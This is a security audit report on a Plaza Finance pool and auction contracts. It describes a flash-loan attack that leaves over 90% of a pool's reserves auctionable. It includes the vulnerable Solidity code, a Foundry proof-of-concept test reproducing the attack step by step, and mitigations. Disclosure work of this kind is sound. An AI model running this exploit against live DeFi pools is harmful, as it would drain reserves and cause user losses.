Boxy Turquoise Cow

High

# Flash Loan Attack Can Auction >90% of a pool's reserves

### Summary

A critical vulnerability in the Pool and Auction contracts allows attackers to exploit flash loans to drain most of the pool's reserves. The issue arises from insufficient restrictions on the percentage of reserves exposed during auctions and inadequate bid validation. Attackers can deposit flash-loaned funds, gain bond tokens, and initiate auctions, exposing excessive reserves for extraction. This results in significant reserve depletion, potential insolvency, and loss of user funds. Mitigations include capping auctionable reserves, enforcing transaction cooldowns, stricter bid limits, and monitoring for unusual activity.

### Root Cause

The vulnerability arises from the interaction between the Pool and Auction contracts, which fails to impose sufficient restrictions on the auctionable reserve percentage. Attackers can exploit the combination of flash loans and unrestricted reserve token usage during auction initialization.

The Root Cause is fundamentally due to a lack of check on the poolSaleLimit at the time of Auction creation in Pool.sol. See the [specific lines below](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L545-L564):

```solidity
uint256 normalizedTotalSupply = bondToken.totalSupply().normalizeAmount(bondDecimals, maxDecimals); //@audit consider this logic deeply
    uint256 normalizedShares = sharesPerToken.normalizeAmount(sharesDecimals, maxDecimals);//@audit consider this logic deeply

    // Calculate the coupon amount to distribute
    uint256 couponAmountToDistribute = (normalizedTotalSupply * normalizedShares) //@audit Auctioning off = total bond supply * sharePerCoupon. i.e. bond supply * 2.5% ?
        .toBaseUnit(maxDecimals * 2 - IERC20(couponToken).safeDecimals()); //@audit there is a lot going on with decimals..

//@audit the check guarding against excessive pool reserves being auctioned should be happening here !

    auctions[currentPeriod] = Utils.deploy(
      address(new Auction()),
      abi.encodeWithSelector(
        Auction.initialize.selector,
        address(couponToken),
        address(reserveToken),
        couponAmountToDistribute, //@audit total buy coupon amount
        block.timestamp + auctionPeriod, //@audit endTime 
        1000, //@audit there will always be 1000 max bids set when an auction starts.
        address(this), //@audit auction beneficiary is the POOL contract.
        poolSaleLimit
      )
    );
```





### Internal Pre-conditions

1. The Pool contract allows a large proportion of its reserves to be auctioned during the auction period.
2. The Auction contract does not have a mechanism to restrict the total auctionable reserves to a safe percentage, leading to overexposure of pool reserves. Note that the same attack described here can be performed again to easily bypass the [only defense at Auction.sol::Line 341](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L341)
3. The pool does not enforce a cooldown period or restrictive logic after large deposits resulting from create().

### External Pre-conditions

1. The attacker has access to a flash loan provider (e.g., Aave) for acquiring a large amount of reserve tokens.
2. The price feed for reserve tokens is stable.
3. The previous distribution period has passed and attacker is able to start an auction.

### Attack Path

1. The attacker acquires a flash loan for a large amount of the pool's reserve token.
2. Using the flash-loaned tokens, the attacker performs the following steps:
3. Deposits the tokens into the pool, acquiring a significant portion of bond tokens.
4. Creates an auction and sets a high proportion of the pool's reserves as auctionable.
5. Redeems bond tokens to extract reserve tokens from the pool.

### Impact

1. Overexposure of Pool Reserves: Over 90% of the pool's reserves can be exposed in the auction and bid on legitimately by the attacker and all market participants. This may result in the reserves being sold at a significant discount. 
2. Protocol Insolvency: The pool's reserves may be insufficient to cover future obligations if the auction succeeds before admin roles can pause the auction.
4. Loss of User Funds: Users holding tokens linked to the drained reserves may suffer significant losses if the auction concludes and the reserves are sold at a steep discount or at the [minimum allowable bid (Auction.sol::Line 383)](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L383)

### PoC
Please copy paste the updated setUp() and test file below into Auction.t.sol:

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

import {Pool} from "../src/Pool.sol";
import {Decimals} from "../src/lib/Decimals.sol"; //@audit added this
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {Auction} from "../src/Auction.sol";
import {MockPool} from "./mocks/MockPool.sol";
import {BondToken} from "../src/BondToken.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";//@audit added
import {LeverageToken} from "../src/LeverageToken.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {AttackContract} from "../src/AttackContract.sol";

contract AuctionTest is Test {
  AttackContract attack;
  Auction auction;
  Token usdc;
  Token weth;
  
  MockPriceFeed private mockPriceFeed;//@audit added
  address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70); //@audit added
  uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10**8; //@audit added
  uint8 private constant CHAINLINK_DECIMAL = 8; //@audit added


  address bidder = address(0x1);
  address house = address(0x2);
  address minter = address(0x3);
  address governance = address(0x4);
  address securityCouncil = address(0x5);
  address attacker = address(0x9); //@audit added

  address pool;
  address dangerousAuction; //@audit added

  function setUp() public {
    usdc = new Token("USDC", "USDC", false);
    weth = new Token("WETH", "WETH", false);
    
    pool = createPool(address(weth), address(usdc));
    useMockPool(pool);

    vm.startPrank(pool);
    auction = Auction(Utils.deploy(
      address(new Auction()),
      abi.encodeWithSelector(
        Auction.initialize.selector,
        address(usdc),
        address(weth),
        1000000000000,
        block.timestamp + 10 days,
        1000, //@audit 1000 max bids
        house, //@audit auction beneficiary. 
        110 //@audit This is the original poolSaleLimit provided by plaza devs. Unclear why this is set to 110...It would normally 
        be 90 as per the pool.sol constant.
      )
    ));
    vm.stopPrank();
    
  }
```



Please copy pate the Test below:

```solidity
//run with forge test --match-test testDangerousAuctionCreation_simplified() -vvv
function testDangerousAuctionCreation_simplified() public {
    vm.prank(governance);
    vm.warp(90 days + 2);
    Pool(pool).setAuctionPeriod(10 days);
    mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL)); //@audit setting again to avoid stale price error on redemption
    vm.stopPrank();
    
    //Step 1: Attacker flash loans 39x poolReserves
    //Confirm pool reserves
    Pool.PoolInfo memory info = Pool(pool).getPoolInfo();
    uint256 InitialPoolReserves = info.reserve;
    
    assertEq(InitialPoolReserves,IERC20(Pool(pool).reserveToken()).balanceOf(address(pool)));

    //Calculate Deposit Amount Required
    uint256 ethPrice = Decimals.normalizeTokenAmount(
      Pool(pool).getOraclePrice(Pool(pool).reserveToken(), Pool(pool).USD()),
      Pool(pool).reserveToken(),
      18
      );

    uint256 DepositAmount = (1_000_000 * 39 * InitialPoolReserves * 100) / ethPrice;

    //Step 1: Attacker gets flash loan
    vm.startPrank(governance);
    uint256 loanAmount = DepositAmount;
    weth.mint(attacker,loanAmount);
    assertEq(weth.balanceOf(attacker),loanAmount);
    vm.stopPrank;

    //Step 2: Attacker calls create() with the flashLoaned Amount
    vm.startPrank(attacker);
    weth.approve(address(pool),loanAmount);
    uint256 anticipatedAttackerBondBalance = Pool(pool).simulateCreate(Pool.TokenType.BOND,loanAmount);
    uint256 attackerBondBalance = Pool(pool).create(Pool.TokenType.BOND,loanAmount,1);
    vm.stopPrank();
    assertEq(anticipatedAttackerBondBalance,attackerBondBalance);

    //Step 3: Attacker starts auction
    vm.startPrank(attacker);
    Pool(pool).startAuction();
    dangerousAuction = Pool(pool).auctions(info.currentPeriod);
    uint256 UpdatedPoolReserves = IERC20(Pool(pool).reserveToken()).balanceOf(address(pool)); 
    uint256 auctionableAmount = Auction(dangerousAuction).totalBuyCouponAmount();
    
    //Step 4: Attacker calls Redeem() on all his bonds
    uint256 UpdatedAttackerBondBalance = Pool(pool).bondToken().balanceOf(attacker);
    uint256 RedemptionAttackerReceived = Pool(pool).redeem(Pool.TokenType.BOND,UpdatedAttackerBondBalance,1);
    
    //assert that attacker received their flash loan back from Plaza after auction creation
    assertEq(RedemptionAttackerReceived,DepositAmount);
    
    //Verify that dangerous auction exists
    dangerousAuction != address(0);
    console.log("Dangerous Auction Address:",dangerousAuction);
    
    //Check how much reserves are available in dangerous auction
    console.log("Reserves Available to Bid on in Dangerous Auction:", auctionableAmount);
    
    //Check the total reserves after the flash loan attack
    console.log("Pool Reserves:",IERC20(Pool(pool).reserveToken()).balanceOf(address(pool)));

    uint256 percentageAvailable = (auctionableAmount * 100) / IERC20(Pool(pool).reserveToken()).balanceOf(address(pool));
    console.log(percentageAvailable,"% of Pool Reserves are available for auction!");

    //assert that nearly all the current reserves are available for auction
    assertGt(percentageAvailable,90); //Assert that the protocol invariant is broken. 90% reserves auctionable.
    
    //Step 5: Attacker repays loan
    weth.burn(attacker,DepositAmount);
    vm.stopPrank();
  }
```

### Mitigation

1. Enforce pool sale limit at the point of auction creation in pool.sol 
2. Flash Loan Defense: Introduce a cooldown period after significant deposits or redemptions to mitigate flash loan abuse.
3. Auction Bid Limits: Enforce stricter validation on bid amounts, ensuring that the maximum bid cannot exceed a safe percentage of the total reserves.
4. Dynamic Auction Caps: Adjust auction caps dynamically based on recent reserve activity or current reserve levels to prevent overexposure.
